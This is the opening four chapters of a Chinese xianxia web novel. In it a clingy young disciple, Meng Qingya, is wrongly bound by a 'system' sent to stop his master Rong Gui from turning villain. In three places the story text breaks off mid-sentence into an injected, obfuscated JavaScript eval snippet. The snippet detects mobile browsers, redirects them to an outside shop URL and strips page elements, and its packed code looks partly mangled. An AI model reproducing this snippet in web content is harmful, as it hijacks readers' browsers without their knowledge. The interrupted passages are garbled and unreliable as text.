《笨蛋徒弟绑定系统后》 1. 第一章 暮春的云絮软得像浸了仙露的棉团,一缕缕浮在碧空之上,将寒境山笼在一片温软的天光里。 孟清涯坐在悬崖边,下巴搁在膝盖上,另一条腿垂落下来悠悠晃荡。乌发如瀑般尽数披散在身后,他没有束冠只松松地垂至腰侧,发间缀着细碎的玉坠与银铃,皆是些小巧玲珑的挂饰,风一吹便随着发丝轻晃,叮铃作响。 他生得是极标致的模样,眉如远山含黛,眼似秋水横波,眼尾微微上挑却不带半分媚俗,反倒清润得像雨后初绽的芙蕖,长睫纤长浓密,垂落时在眼下投出浅浅的阴影,鼻尖秀挺,唇瓣是天然的浅樱色,微微抿着时便添了几分慵懒的娇软,肌肤莹白似玉,粉绡广袖滑落肘间时隐隐露出半截皓腕。 往下望是层层叠叠的云海,云浪翻涌,时而露出青苍的峰峦,峰上遍植琼花,花期正盛一簇簇开得热烈,可孟清涯却无半分欣赏的心思。 今日是他师尊容归闭关的第三十天,也是孟清涯思念容归的第三十天。 孟清涯揪出一缕头发,缠在手指上打着圈,脑海里一遍遍的回想着与师尊的点点滴滴,思念如荆棘般一圈圈缠上心脏,勒得他有些难受。 这还是孟清涯有记忆以来第一次与师尊分别那么久。 时间线回到三十天前,在容归讲述自己要闭关一段时间后正在逗小鸟玩的孟清涯先是一愣,随即反应过来师尊说了什么整个人都不好了,猛地冲到容归身上被容归稳稳接住后埋在师尊的脖子里就开始控诉。 “呜呜呜师尊不要啊,你走了你亲爱的小徒弟怎么办啊,我肯定会水也不喝了东西也不吃了天也不看了花也不赏了,你忍心把你亲爱的徒弟一个人抛在寒镜山吗?” 孟清涯抬起湿漉漉的眼睛可怜兮兮地看着容归。 容归叹了口气,无奈地揉了揉自家徒弟的脑袋:“水水别闹,我不会闭关很久的,很快就回来陪你。” 孟清涯今年十八岁,自两岁时被容归捡回寒镜山后他便从未与容归分开过,如今突然要与容归分开那么久,一时半会接受不了也是正常的。 可是五十年闭关一次是容归的命数,只能先委屈一下小徒弟回头再好好补偿了。 孟清涯虽然不愿,但也只能无奈接受,随即化身“望师石”每日守在容归闭关的洞府前发呆。 “嘎嘎—-水水我们下山去玩吧,听说今日正好是四脉收徒的日子,你整天这样郁郁寡欢也不是个事啊,嘎嘎—-” 一只粉色的鹦鹉扑棱着翅膀落在孟清涯肩头,歪着脑袋用黑豆般的眼睛瞧着他。 鹦鹉通体樱粉,只有翅尖缀着几缕嫩黄。它拿喙轻轻啄了啄孟清涯的耳垂,又蹭了蹭他的脸颊。 孟清涯偏过头,伸手点了点鹦鹉的小脑袋:“小粉你倒是消息灵通。” 小粉得意地挺了挺胸脯,羽毛蓬起来更像一团粉绒绒的球:“嘎嘎,那是自然,昨儿个东脉的白鹤来后山觅食我同它聊了好一会儿呢,它说这几日四脉可热闹了,山下凡尘那些想修仙的想求长生的都挤在山门外等着被挑选,嘎嘎——” 孟清涯眨了眨眼,长睫扑扇两下,像蝴蝶轻轻振翅。他自两岁被师尊带上寒镜山便再未踏出过这座山一步,如今倒确实有些好奇了。 孟清涯把下巴从膝盖上抬起来,乌黑的长发随着他的动作滑落几缕,银铃细碎地响了两声。他望向远处翻涌的云海,云浪之下隐约能窥见四座山峰。 如今的修真界有十大势力——四族三宗两朝一山,为首的这一山便是浮渊仙尊容归的寒镜山。 寒镜山严格意义来讲只有容归和孟清涯两人,但下设东西南北四脉,孟清涯只偶尔在四脉的峰主上来向容归禀报事务时见过他们一两面,对四脉其实并不熟悉。 “小粉,”孟清涯忽然开口,声音软糯糯的像是刚出锅的糯米团子,“你说山下的人多吗?” “嘎嘎!可多了!”小粉扑棱着翅膀飞起来,在半空中转了个圈,“人山人海,摩肩接踵,挥袖成云,挥汗成雨——” “你从哪儿学来这些词?”孟清涯忍不住弯了弯眼睛,眉眼间那点淡淡的愁绪被笑意冲散,像是云开雾散后透出的日光。 “嘎嘎……白鹤教的。”小粉落回他肩头,拿小脑袋蹭孟清涯的脸颊,“水水,咱们去看看吧,反正仙尊闭关还要好久好久,你在这儿干等着也是等着,不如去看看热闹,说不定回来的时候仙尊就出关了呢?” 孟清涯抿了抿唇,浅樱色的唇瓣微微压出一道好看的弧度。他终于站起身来,粉绡广袖随着动作轻轻飘动,衣袂翻飞间露出纤瘦的腰身。 “那……就去看看?”孟清涯理了理被风吹乱的发丝,原地蹦跳了两下,身上那些细碎的玉坠和银铃叮叮当当响成一片。 “去去去!”小粉扑棱着翅膀飞起来,绕着孟清涯转圈,“水水最好了,水水最可爱了,水水我们快走嘎——” 孟清涯被它逗得又笑了,眉眼弯弯的模样煞是好看,像是月牙落入秋水。 临走前,他回头望了一眼容归闭关的洞府。 “师尊,”孟清涯轻声说,“我下山去看看,很快就回来。” * 四脉的收徒大典如今已进入尾声,现在不过是一些合格的弟子选择拜入哪一脉门下而已。 孟清涯远远就听见人声喧哗,像是一大群雀鸟在林间叽叽喳喳。他不由得放慢了脚步,好奇地探头张望。 眼前是一片开阔的广场,四周立着四根高大的石柱,柱上按照方位分别刻着东西南北四字。广场上乌压压站满了人,有的衣着华贵,有的粗布麻衣,此刻都仰着头望向广场正前方的高台。 高台上摆着一些椅子,有的上面已经坐了人,孟清涯眯着眼睛瞧了瞧,上面他能认出的也就几个峰主。 “嘎嘎,人可真多!”小粉趴在他发顶,小小声地感慨。 孟清涯点点头,悄悄混进了人群里,四周的弟子们正热火朝天地讨论着。 “我打算拜入东脉!东脉主修剑道,听说这一代的大师兄剑术已臻高超,才金丹期就能越级斩杀元婴期的妖兽!” “西脉才好呢,待人最是和善,而且西脉的灵兽最多,我从小就喜欢小动物……” “南脉的峰主年轻,跟着他肯定有意思!” “北脉虽然清冷,但功法最是精妙,我要是能入北脉……” 孟清涯听得津津有味,眼睛亮晶晶的。 “哎,这位小公子你看着面生,是想拜入哪一脉啊?”旁边有人见孟清涯眼生,又一直在好奇地四周张望,不由得感到奇怪。 孟清涯眨了眨眼,摇摇头:“我不是来拜师的。” “啊?”那人一愣,“那你是来做什么的?这里可是收徒大典不拜师来做什么?” 旁边几个少年也围了过来,上下打量着孟清涯。他生得太好看,周身的气度又与寻常人格格不入,自然引人注目。 “我有师尊了。”孟清涯老老实实地回答。 这下更热闹了。 “有师尊了?那你还来这儿干什么?” “你师尊是哪位啊?是四脉的长老吗?” 孟清涯被他们问得有些懵,张了张嘴正要解释,忽然一只手从身后伸过来,轻轻抓住了他的手腕。 “孟公子,您怎么在这儿?” 孟清涯回头就看见一张清俊的脸,约莫二十出头的年纪,身着月白道袍,袍角上绣着云纹。 他认得这人,是东脉峰主的大弟子,每年都会随峰主上山给师尊请安,两人也见过几次面。 “沈……沈……”孟清涯一时想不起名字,只记得他姓沈。 “沈惊蛰,”那青年无奈地笑了笑,压低声音道,“您怎么一个人跑下来了?仙尊可知道?” “师尊闭关了,”孟清涯说起这个眉眼又耷拉下来,“我一个人无聊就下来看看热闹。” 沈惊蛰看着他那副委屈巴巴的模样心里软了软,又看了看周围那些目瞪口呆的弟子,轻咳一声:“各位继续。” 说罢,拉着孟清涯就往人群外走。 身后传来一片窃窃私语—— “那人谁啊?沈师兄亲自来接?” “沈师兄可是东峰首座,能让他这么客气的,来头不小吧?” “那少年说他已经有师尊了,难不成是哪位隐世高人的弟子?” 孟清涯被沈惊蛰拉着走,小粉趴在他头顶,探出小脑袋左顾右盼,时不时“嘎”一声。 “沈惊蛰,我们要去哪儿啊?”孟清涯问。 “几位峰主都在高台,您既然来了收徒大典总得请您上座,”沈惊蛰顿了顿,又补了一句,“若是让几位峰主知道您来了却没人招待,回头该怪我们不懂礼数了。” 说话间已经到了高台之下,沈惊蛰拾级而上,孟清涯跟在他身后。 高台上的四位峰主原本正在低声交谈,见沈惊蛰带了个少年上来齐齐看过来。 “这是……”东脉峰主板着的脸上露出一丝惊讶,“孟公子?” 西脉峰主已经站起身来满脸慈爱地迎上去:“哎哟是孟公子啊,怎么一个人下山来了?仙尊呢?” 孟清涯乖巧地打了个招呼:“师尊闭关了,我闲着无事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374910|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听小粉说这边热闹就来看看 打扰各位了。” “不打扰不打扰!”南脉峰主笑得露出虎牙,忙不迭地让人搬椅子,“来来来快坐,站了半天累不累?饿不饿?我这儿有糕点,刚出炉的桂花糕,你尝尝?” 北脉峰主也微微颔首,算是打过招呼。 孟清涯被按在椅子上坐下,面前很快摆上了一碟糕点、一盏清茶。小粉从他头顶飞下来,落在椅背上,探头探脑地瞧着那碟桂花糕。 “这是您的灵宠?”沈惊蛰有些好奇地问。 “嗯,叫小粉。”孟清涯掰了一小块糕点递给小粉,小粉叼过去,美滋滋地吃起来。 见孟清涯正专心地喂灵宠,几位峰主便也不好打扰,正好此时吉时已到,仪式正式开始。 高台之上,四脉峰主各自端坐,神情肃穆。台下众弟子也渐渐安静下来,知道这收徒大典最重要的一刻即将到来。 东脉峰主站起身清了清嗓子,声音沉浑如钟:“此次收徒大典经四脉联合考校共收录弟子一百零八人,按照惯例考校第一名者可优先选择拜入哪一脉门下。” 话音落下,台下顿时议论纷纷。 “听说这次的第一名是个叫宁尘渊的,好像是四族之一宁家的人。” “可不是么,据说天生剑骨,才弱冠就已经筑基大圆满了,差一步就能结丹。” “这般资质,怕是要被四脉抢破头吧?” 孟清涯正掰着桂花糕喂小粉,听了这些话也不由得好奇起来,抬眼往台下望去。 只见人群自动让开一条道,一个少年缓步走出。 少年眉目清俊,身姿如松,一身玄色劲装衬得他气质冷冽。他步伐沉稳,目不斜视径直走到高台前方,冲着台上四位峰主抱拳行礼。 “晚辈宁尘渊,见过各位峰主。” 南脉峰主笑着开口:“宁小友资质出众,前途不可限量,不知你心中属意哪一脉?若是愿意来我南脉,本座必定倾囊相授。” 西脉峰主也柔声道:“我西脉灵兽众多。” 东脉峰主虽板着脸却也不掩欣赏之色:“你若入我东脉,剑道一途本座可亲自指点。” 北脉峰主只淡淡说了四个字:“北脉亦可。” 众人皆以为宁尘渊会在四脉之中做选择,毕竟能入四脉已是天大的福分,更何况四脉峰主同时抛出橄榄枝,这可是前所未有的殊荣。 却见宁尘渊抬起头,目光越过四位峰主,望向更高处的寒镜山方向,一字一句道:“晚辈想拜入的,是浮渊仙尊容归门下。” 此言一出满场寂静,随即议论声轰然炸开。 “什么?他要拜仙尊为师?” “仙尊活了这么多年好像也就收了一个弟子。” “宁尘渊也太敢想了,那可是浮渊仙尊啊!” 高台之上,四位峰主面面相觑一时不知如何作答。 就在此时,一个清脆的声音突兀地响起。 “不行!” 众人循声望去,只见高台一侧的椅子上一个粉衣少年霍然站起身,乌黑的长发随着动作轻轻晃动,发间的银铃叮当作响。 孟清涯瞪圆了眼睛,腮帮子鼓着嘴里还含着半块没咽下去的桂花糕,却已经急得不行,含糊不清地又说了一遍:“不行不行不行!” 小粉在他肩头扑棱着翅膀也跟着“嘎嘎”叫了两声,仿佛在帮腔。 “你是谁?”宁尘渊语气不善,“有什么资格说不行?” 孟清涯好不容易把桂花糕咽下去,挺了挺胸脯,理直气壮地道:“容归是我师尊,我当然有资格说不行!” 台下又是一阵骚动。 “原来他就是仙尊捡的那个孩子……” “这少年居然是仙尊的徒弟,刚刚我们还和他聊天来着。” “长得倒是真好看,就是瞧着不太聪明的样子……” 宁尘渊上下打量着孟清涯,忽然冷笑一声:“原来是你。” 他往前踏了一步,声音清冷:“我听说过你,浮渊仙尊十六年前从凡间捡回来的弃婴,就算你是仙尊的徒弟又有什么资格替仙尊做决定?” 孟清涯愣了一下,刚准备张嘴反驳却忽然感觉脑袋被什么东西重重撞击了一下。 随即孟清涯眼前一黑,软软地倒了下去。 小粉尖锐的叫声响彻全场,粉色的身影扑棱着飞起来,在孟清涯身边急得团团转。 “水水!水水你怎么了嘎!水水你醒醒嘎!!!” “水水被气晕了嘎!被那个讨厌鬼气晕了嘎!” “嘎——!!!” 2. 第二章 四位峰主齐齐站起身,沈惊蛰已经一个箭步冲过去扶住孟清涯,西脉峰主更是急得脸色都变了:“快!快叫医修!” 小粉落在孟清涯胸口,用喙轻轻啄着他的脸,黑豆般的眼睛里竟似有了水光:“嘎嘎……水水……水水你别吓小粉啊……” 台下众弟子目瞪口呆,不知道发生了什么。 宁尘渊也愣住了,脸上的不屑僵在那里。 这时,小粉忽然抬起头,羽毛都炸了起来,像一团炸开的粉色绒球:“水水想仙尊想了三十天本来就难受,你还凶他,你还说他不好,水水那么乖,水水哪里不好嘎!水水是最好的水水嘎!” 小粉越说越气,竟冲着宁尘渊俯冲过去,拿小脑袋使劲撞他:“坏蛋!坏蛋!欺负水水的都是坏蛋嘎!” 宁尘渊被一只鹦鹉撞得连连后退,脸上的表情精彩极了。 高台上一片混乱,而孟清涯对此浑然不知,他此刻的意识正陷入在一片空茫茫的白色空间中。 “尊敬的宿主容归你好,我是系统0621。” 孟清涯迷迷糊糊地坐起身,揉了揉被撞疼的脑袋,隐约记得方才好像听到了师尊的名字。 “师尊?”孟清涯下意识唤了一声,四周却只有空荡荡的回音。 “检测到您即将在不久后走火入魔,最终坠入魔道成为修真界最大反派,本系统特来协助您进行洗白任务避免悲剧发生。” 孟清涯眨了眨眼睛,长睫扑扇两下。 “您原本是正道第一人浮渊仙尊容归,修真界十大势力之首寒镜山的主人,”系统0621继续说道,“您一生清正,护佑苍生,原本您一生中唯一的挫折也不过是爱徒孟清涯早夭,谁知不知怎的您竟然走火入魔、屠戮众生,最终成为整个修真界的噩梦。” 孟清涯的嘴巴微微张开,唇瓣形成一个圆润的弧度。 “我们知道这绝非您本意,所以亲爱的宿主容归先生,让我们一起努力洗白吧。” 白色空间里安静了片刻。 孟清涯举起手,像在学堂里提问的学童那样,乖乖巧巧地问:“那个……我有一个问题。” “宿主请说。” “可是我不是师尊呀,”孟清涯歪了歪脑袋,乌黑的长发随着动作滑落肩头,发间的银铃发出细碎的声响,“我是那个早死的徒弟,孟清涯。” 系统0621沉默了。 漫长的沉默。 沉默到孟清涯以为自己是不是说错话了,小声地又补了一句:“我真的是孟清涯不是师尊,师尊还在闭关呢。” “……你说什么?”系统0621的声音终于响起来,却带上了一丝颤抖,“你不是容归?” “不是呀,”孟清涯摇摇头,眼睛清澈得像山间的溪水,“我是他徒弟孟清涯。” 系统0621又沉默了,这一次沉默得更久。 “这不可能吧……”系统0621的声音有些发飘,“我明明检测到你身上容归的气息含量高达99% 啊。” 孟清涯眨了眨眼,认真地思考了一会儿,然后恍然大悟:“我知道了,一定是因为我从小被师尊养大,身上沾满了师尊的气息,所以你把我和师尊搞混啦。” 系统0621:“……” “我身上的衣服也是师尊做的。” 系统0621:“……” “这些法器也是。” 系统0621:“……” “配饰也是。” 系统0621:“……” 系统0621:“你就直说你全身上下哪一点跟容归没关系吧!” 孟清涯仔细思考了一下:“硬要说的话,可能我这个人?不过我也是师尊捡回来的。” 系统0621:“……” 系统0621自闭了。和季寒桐一起完成上一个世界《踏仙途》的初始任务后系统0621成功转正,如今这个世界《仙途无双》是他成为任务系统后接的第一个正式任务,比起上个世界,这个世界的任务难度明显提高了很多,就连快穿局都没有掌握多少剧情信息。 系统0621早就做好了心理准备,知道这个世界肯定会比上个世界难很多,但是没想到他迈出的第一步就错了,直接绑定错任务对象了。 “呜呜呜小木头呜呜呜1228,我好像真的很没用。”系统0621缩在角落里自闭地画圈圈,他现在已经和孟清涯绑定了,没办法解绑。 “你没事吧?”孟清涯小心地戳了戳面前的小光球,他能感受到小光球的心情似乎十分糟糕。 “我没事。”系统0621抹了抹眼泪,重新振作起来,“既然你是孟清涯,那你师尊呢?” “师尊在闭关。”孟清涯回答道。 “这样啊……” 想来应该是容归闭关时屏蔽了气息连天道都隐藏过去了,所以快穿局的检测程序才没有检测到,再加之外面还有一个身上容归气息含量高达99% 的孟清涯,直接让系统0621搞错了任务对象。 不过纵使是闭关,容归又为什么要把自己的气息完全隔绝? 系统0621甩了甩脑袋,不再想这些。 “那个,你叫系统0621对吧?”孟清涯试探性地问,“你可以告诉我你刚刚说的那些话是什么意思吗?我师尊怎么了?” “你确定要听?”系统0621的声音里带着一丝犹豫。 孟清涯点点头,语气也变得严肃起来:“师尊的事我都想知道。” 系统0621沉默了一会儿,小光球在空中晃了晃,像是在叹气。 “好吧,既然已经绑定了你,那本系统就把知道的全告诉你。”系统0621的声音变得正式起来,“不过剧情缺失严重,快穿局也没有掌握太多信息。” 孟清涯乖巧地盘腿坐下,双手规规矩矩地放在膝盖上,一副洗耳恭听的模样。 “这个世界叫《仙途无双》,是一本修仙小说……话本子,”系统0621开始讲述,“原小说的主线是主角云知寒从一个普通的修仙者一步步成长为仙道至尊的故事。” “云知寒是谁?”孟清涯眨了眨眼。 “好像是什么云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374911|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的人,”系统0621解释道,“他是这个世界的天命之子,气运加身,机缘不断,最后会成为修真界的第一人。” 孟清涯歪了歪头:“可是修真界的第一人不是师尊吗?” 系统0621:“那是前期,后期你师尊走火入魔后,云知寒就取而代之了。” 孟清涯抿了抿唇,眉眼间浮起一丝闷闷不乐。 系统0621:“按照原本的情况,故事应该是云知寒一步一步成为仙道至尊然后打败大反派容归,守护苍生安宁。” 孟清涯立刻皱眉:“我师尊才不会被打败。” 系统0621:“没错,你师尊确实没被打败,反而反杀了云知寒,大肆屠戮,所以这个世界崩了。” 孟清涯点了点头:“我明白了,那个云知寒没有实力解决问题,所以需要你们来当外援,既然解决不了问题那就不要让问题出现,是吧?” 系统0621:“是这个意思,不过我们不是给云知寒来当外援的,他做什么事跟我们快穿局没关系,你师尊虽然没有被反杀成功,但是他也一生活在痛苦当中,最后自爆而亡整个小世界也因此崩溃,我们的目的主要是维持小世界的稳定。” 孟清涯的长睫轻轻颤了颤,他不在乎修真界如何,也不在乎自己死不死,但是他不能接受师尊是那样的结局。 孟清涯抬起眼睛,眸子里蒙着一层薄薄的水光,却倔强地没有落下来:“那现在呢?你绑定了我那师尊怎么办?他岂不是还要变成你说的那个样子?你能不能解绑然后去找我师尊啊?” 系统0621的小光球晃了晃:“没办法解绑的,不过我们可以走另一条路。” “原本的任务是绑定容归协助他洗白,避免黑化结局,”系统0621说,“现在既然绑定了你,那任务就变了——从‘洗白反派’变成‘攻略反派’。” “攻略?”孟清涯歪了歪头,不太理解这个词的意思。 “就是让你去阻止你师尊黑化。”系统0621解释道,“只要想办法找到你师尊黑化的原因,顺便都让他感受一下这世间的真善美,他就不会走上原剧情的老路。” 孟清涯认真地点点头,然后又问:“那我现在应该怎么做呢?” “……我也不知道。”系统0621的声音里带上了一丝窘迫,“快穿局对这个世界掌握的信息太少了,基本上都得靠你自己摸索。” “好吧。”孟清涯无奈地叹了口气。 “大致情况你也明白了,”系统0621飞到孟清涯面前,“接下来的日子我会在你的识海中住着,现在你先赶紧出去吧,外面的人该担心了。” 它一说完,孟清涯便清楚地感知到身边熟悉的气息。 首先传来的是脸颊上痒痒的触感,是小粉在用喙轻轻啄他。 “水水……水水你醒醒嘎……咦?仙尊水水的手指好像动了嘎!” 紧接着,他的手被另一只修长冰冷的手握住,耳边传来了他听了十六年仍听不厌的熟悉声音。 “水水?” 是师尊的声音。 3. 第三章 孟清涯缓缓睁开眼睛,最先映入眼帘的是一片天蓝色的衣角。 顺着那片天蓝色往上望,容归就坐在他榻边。 男人微微俯着身,一只手还握着孟清涯的手,另一只手悬在半空,似乎是想触碰他的脸颊却又停在半途。 他的眉眼生得极淡,仿若皎皎清辉。眉峰如剑却不凌厉,反倒因为那双沉静的眼而显出几分疏离的出尘气。 眼睛是极浅的琥珀色,平日里总像隔着一层薄雾让人看不清眼底的情绪。此刻那层雾气却散了些,露出底下隐约的关切。眼尾微微上挑,带着与生俱来的清贵,却不显得倨傲,只是让人觉着这个人就该站在云端俯瞰众生。 容归只静静地坐在那里,便让孟清涯移不开眼。 他像是山巅终年不化的积雪,又像是月下独自绽放的寒梅,清冷,孤高,让人只敢远观不敢亵渎。 不过这一切在孟清涯眼里都是摆设。他微微抬起头,脸颊贴上容归那只悬在半空的手,轻轻蹭了几下。 “师尊……”孟清涯声音黏黏糊糊的,开始撒娇。 掌心触到那团温软时,容归的指尖僵了一瞬。 孟清涯的脸颊贴上来,此刻的他像一只蹭着主人手掌的娇憨幼猫,带着初醒时特有的懵懂与慵懒。 “师尊……”孟清涯又唤了一声,声音黏得像化开的麦芽糖,丝丝缕缕地缠上来,“你怎么出来了?你不是在闭关吗?” “……别闹。”容归的声音低下去,像是怕惊动什么似的。他没有抽回手,只是任由不听话的徒弟继续蹭着。 容归俯下身,一只手从孟清涯的脸颊滑到后颈,另一只手穿过孟清涯的膝弯,将人整个捞起来,妥帖地拢进怀里。 孟清涯愣了一瞬。等他反应过来的时候整个人已经被容归圈在怀中。后背贴着师尊的胸膛,后脑勺抵着师尊的肩窝,浑身上下都被师尊的气息包裹着。 容归将人往怀里拢了拢,下巴轻轻抵在孟清涯的发顶。乌黑的长发蹭过他的下颌,带着淡淡的皂角香和孟清涯身上特有的、像是被阳光晒过的棉被一样的暖烘烘的气息。 是真实的、温热的徒弟,而不是他梦中那般冰冷苍白的尸体。 容归闭了闭眼,掩下眸中的一片阴霾。 闭关之时,容归做了一个梦。梦里的那一幕容归不想再回忆第二遍,可那画面像是被谁用刀刻在了他的识海里,每阖一次眼便浮现一次,清晰得叫人发疯。 容归记得梦中自己从洞府中走出来时,山间的琼花开得正盛,一簇簇压弯了枝头。他下意识地微微抬起眼往崖边那棵老松树下望去——那是孟清涯最喜欢待的地方。 可那日,老松树下空无一人。 容归以为孟清涯是贪玩去别的地方玩了,可他寻遍整个寒镜山都没见到孟清涯的身影,连那只聒噪的粉色鹦鹉也不见了。 就在他茫然无措之时,东脉峰主上来禀报说孟清涯找到了,正在山门口。 容归迫不及待地来到山门口,对徒弟的思念之情以至于他下意识地忽略了那些不对劲的地方。 为什么东脉峰主的脸上带着忧伤?为什么孟清涯不自己上来反而停留在山门口? 于是等容归来到寒镜山门时就见孟清涯就躺在地上,安安静静的像是睡着了。 乌黑的长发散落在身侧,发间那些他十分喜欢的细碎玉坠和银铃都还在,只是没有了风便一声不响。他的脸颊还是那样白皙,唇瓣还是那样浅浅的粉色,长睫毛在眼下投出一片柔和的阴影,一切都与孟清涯睡着时别无二致。 除了那具身体里已经没有了一丝生气。 容归站在原地,一动不动。暮春的天光从枝桠间透进来落在他脚边,明明已是日光和煦的时候,容归却仿佛坠入了冰窟。 容归这一生杀过妖魔,斩过邪祟,踏碎过天道降下的雷劫,也曾在尸山血海中独行千里,早已得道成仙活了上万年的他见识过无数人的死亡。 可那一刻,容归甚至不敢往前进一步,他怕指尖触到的是一片冰凉。 冰凉的,僵硬的,再也不会蹭着自己的掌心撒娇,再也不会黏黏糊糊地喊着“师尊”,再也不会在自己怀里拱来拱去找舒服位置的小徒弟。 这不是他的水水。 水水是温热的,是软绵绵的,是像一团被太阳晒过的棉花一样暖烘烘的。他的水水会在他闭关前赖在自己身上不肯下来,会红着眼眶说“师尊不要走”,会在自己无奈叹气时偷偷弯起眼睛,露出一副计谋得逞的小得意。 容归从梦中惊醒,这才发现自己是魇住了。可他却再也坐不住,立马出关准备去找孟清涯。 极好的耳力让容归一出关便听到了那只粉毛鹦鹉叫唤的声音 “水水!水水你怎么了嘎!水水你醒醒嘎!!!” 容归站在洞府门口,大脑甚至来不及去想,手已经本能地掐了一个术法,下一瞬他的身影已经从洞府门口消失。 等他的身形重新凝实时,入目的是一片混乱。 吵闹的众弟子、慌乱的四脉峰主、焦急的沈惊蛰和一脸不知所措的宁尘渊。 这些容归都看不到,他眼中唯有那个躺在地上的身影。 眼前这一幕几乎与梦中那个场景重合,容归险些要站不住。 指甲嵌入掌心,疼痛从掌心蔓延开来,尖锐而清晰,像一根细针扎进皮肉里。 容归终于清醒了几分。 幸好,孟清涯只是昏迷了。 可是……下次呢? * “师尊?师尊,你怎么了?”孟清涯侧首,鼻尖轻轻擦过容归的脸颊,终于让他的思绪回笼。 “无事。”容归的声音从头顶传来,低沉而清冷。 孟清涯不信。可容归铁了心不想在这件事上多做纠缠。孟清涯无法,也只能暂时先放下。 见两人温存够了,小粉也在此时凑了上来。 “嘎!水水你终于醒了嘎!呜呜呜你要是出了什么事我一定要把那小子的头都啄秃!” 孟清涯爱怜地摸了摸小粉的脑袋,容归也仿佛想起了什么,施了个术法把旁边桌子上的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374912|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗挪过来。 碗中是浓稠的深褐色药汁,一股苦涩的气息从碗口袅袅地升起来,丝丝缕缕地钻进孟清涯的鼻尖。 孟清涯的鼻子立刻皱了起来。像是被什么东西蛰了一下似的,他的鼻尖微微耸动了两下,整张脸便从方才的乖巧温顺变成了一副如临大敌的模样,连那双平日里总是水润润的眼睛都瞪圆了几分。 “师尊,”孟清涯的声音里立刻带上了一层薄薄的抗拒,“这是什么?” 容归端着碗垂眸看他,面色淡淡的看不出什么情绪。只是那双浅珀色的眼睛底下还残留着一层未曾完全散去的阴翳。 “药。” 孟清涯当然知道那是药,他从小就怕喝药。这个“从小”可以追溯到他两岁被容归捡回来的时候。那会孟清涯年纪小身子骨又弱,三天两头地生病,容归便日日给他熬药。 那些药汁的味道孟清涯到现在都记得,苦涩的药汁黏糊糊地裹在舌头上怎么咽都咽不下去,咽下去之后那股苦味还会从喉咙里返上来,萦绕在舌尖上久久不散。 孟清涯小时候不懂事(虽然现在也不见得有多懂事),每次喝药都要哭闹一场。容归便把他抱在膝上,一手端着碗,一手轻轻捏着他的下巴一勺一勺地喂。 他哭得满脸是泪,药汁有些也弄在了脸上,容归也不嫌脏,只是用帕子替他擦干净然后继续喂。 喂完了便从袖中摸出一颗蜜饯塞进孟清涯嘴里,看他含着蜜饯破涕为笑的模样,容归一向清冷的眼睛里便会漾开一层极淡的温柔。 在容归的精心呵护下,孟清涯的身体渐渐好了起来,不再需要喝那些苦涩的药。可那份对药的厌恶却刻进了骨子里,连带着那股苦涩的气味都成了他避之不及的东西。 “师尊,”孟清涯的眉头皱起来,唇瓣抿成一条好看的弧度,声音里带着明显的撒娇意味,“我觉得我不用喝药。” 容归静静地看着他。 孟清涯被那双眼睛看得有些心虚,却还是硬着头皮继续说下去:“我真的没事,就是……就是有点累了,睡一觉就好了。师尊你又不是不知道,我身体一向很好的,从小到大都没怎么生过病……” 他说着说着,声音就渐渐小了下去,眼神也变得有些躲闪。 容归都要气笑了,这话说出来孟清涯自己都不信,以前三天一小病五天一大病的人到底是谁啊?难不成是他吗? 孟清涯咬了咬下唇,把脸埋进容归的颈窝里,声音闷闷的:“师尊,我不想喝。” 容归低头,看着那颗拱在自己颈窝里的脑袋。乌黑的长发散落在他肩头,发间的银铃随着孟清涯的动作发出细碎的声响,叮叮咚咚的,像是山涧里跳跃的水珠。 “水水,”容归的声音带着一种不容置疑的坚决,“把药喝了。” 孟清涯的身子僵了一下。 他从容归的颈窝里慢慢抬起头来,露出一张写满了不情愿的脸。那双眼睛湿漉漉的,眼尾微微泛着一层薄红,像是被欺负狠了的小兔子可怜巴巴地望着容归,嘴唇微微嘟起,像是委屈极了。 4. 第四章 “师尊,”孟清涯的声音软得像是要化开,“我真的不用喝药。我自己的身体我自己知道,一点事都没有,就是……” 孟清涯顿了一下,在心里飞快地组织了一下语言。他知道自己会晕过去大概是因为系统0621造成的,与他的身体没有任何关系。 可是这些孟清涯不好告诉师尊,他总不能说“师尊其实我晕过去是因为一个叫系统的东西绑定了我,它还说你以后会走火入魔变成大反派”吧? 师尊听了大概会觉得自己在说胡话。 “就是什么?”容归问。 孟清涯眨了眨眼,长睫扑扇两下,脑子转得飞快:“就是……就是我这几天没睡好,对,没睡好!师尊你闭关去了我一个人睡不着所以才晕过去的,真的没什么大事,不用喝药的。” 他说完还用力地点了好几下头,十分诚恳的样子。 容归看着他,沉默了片刻。 那片刻的沉默里,孟清涯清清楚楚地看见容归眼底那层尚未散尽的阴翳又浓了几分。 